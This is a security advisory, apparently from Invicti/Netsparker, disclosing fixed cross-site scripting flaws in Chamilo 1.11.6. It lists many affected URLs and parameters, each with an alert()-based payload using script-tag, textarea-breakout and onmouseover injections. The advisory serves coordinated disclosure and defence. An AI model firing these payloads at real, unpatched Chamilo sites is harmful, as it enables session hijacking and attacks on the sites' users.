Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in Chamilo 1.11.6
Affected Software: Chamilo
Affected Versions: 1.11.6
Homepage: https://chamilo.org/en/
Vulnerability:  Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-027

Technical Details
--------------------

Reflected XSS

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/courses/3/index.php?'"--></style></scRipt><scRipt>alert(0x000791)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000791)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_courses_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_sessions_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>
Parameter Name: Query Based  
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/dashboard_add_users_to_user.php?'"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>
Parameter Name:  Query Based
Parameter Type:  Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=<scRipt>alert(0x01C783)</scRipt>&submit=&course=3&session=3&teacher=3
Parameter Name: until
Parameter Type: GET
Attack Pattern: <scRipt>alert(0x01C783)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=<scRipt>alert(0x01C746)</scRipt>&until=2018-06-22&submit=&course=3&session=3&teacher=3
Parameter Name: from
Parameter Type: GET
Attack Pattern: <scRipt>alert(0x01C746)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange='+alert(0x01C03C)+'&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=2018-06-22&submit=&course=3&session=3&teacher=3
Parameter Name: daterange
Parameter Type:  GET
Attack Pattern: '+alert(0x01C03C)+'

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links=&pageCurrent=1&pageLength=12&search_term=x'" onmouseover=alert(9) x=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93
Parameter Name: search_term
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9) x=

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/calendar/agenda_js.php??=undefined&title=&content=</textarea><scRipt>alert(0x00E00A)</scRipt>&_qf__form=
Parameter Name: content
Parameter Type: GET
Attack Pattern:  %3c%2ftextarea%3e%3cscRipt%3ealert(0x00E00A)%3c%2fscRipt%3e  

URL:   http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php?'"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>  
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php
Parameter Name: description
Parameter Type: POST
Attack Pattern: </textarea><scRipt>alert(0x01D19F)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/configure_homepage.php?language='" onmouseover=alert(0x01A144)
Parameter Name: language
Parameter Type:  GET
Attack Pattern: '"+onmouseover=alert(0x01A144)+

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/languages.php/'onmouseover='alert(0x003EF6)
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'onmouseover='alert(0x003EF6)

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00760F)
Parameter Name: action
Parameter Type:  GET
Attack Pattern:  '" onmouseover=alert(0x00760F)   

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links='" onmouseover=alert(0x00105A) &pageCurrent=1&pageLength=12&search_term=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93
Parameter Name: hidden_links
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x00105A)

URL:   http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00030C) &category_code=ALL&hidden_links=http://www.example.com&pageCurrent=1&pageLength=12&search_term=3&search_course=1&sec_token=c5d7298897afeed24b512e25e7cd1047 Parameter Name: action
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x00030C)

Stored XSS

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/user_portal.php

Injection URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/course_info/infocours.php?cidReq=1"onmouseover="alert(0x018024)
Parameter Name: title
Parameter Type: POST
Attack Pattern: 1" onmouseover="alert(0x018024)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

9th July 2018 - First Contact
28th November 2018 - Vendor Fixed
4th December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.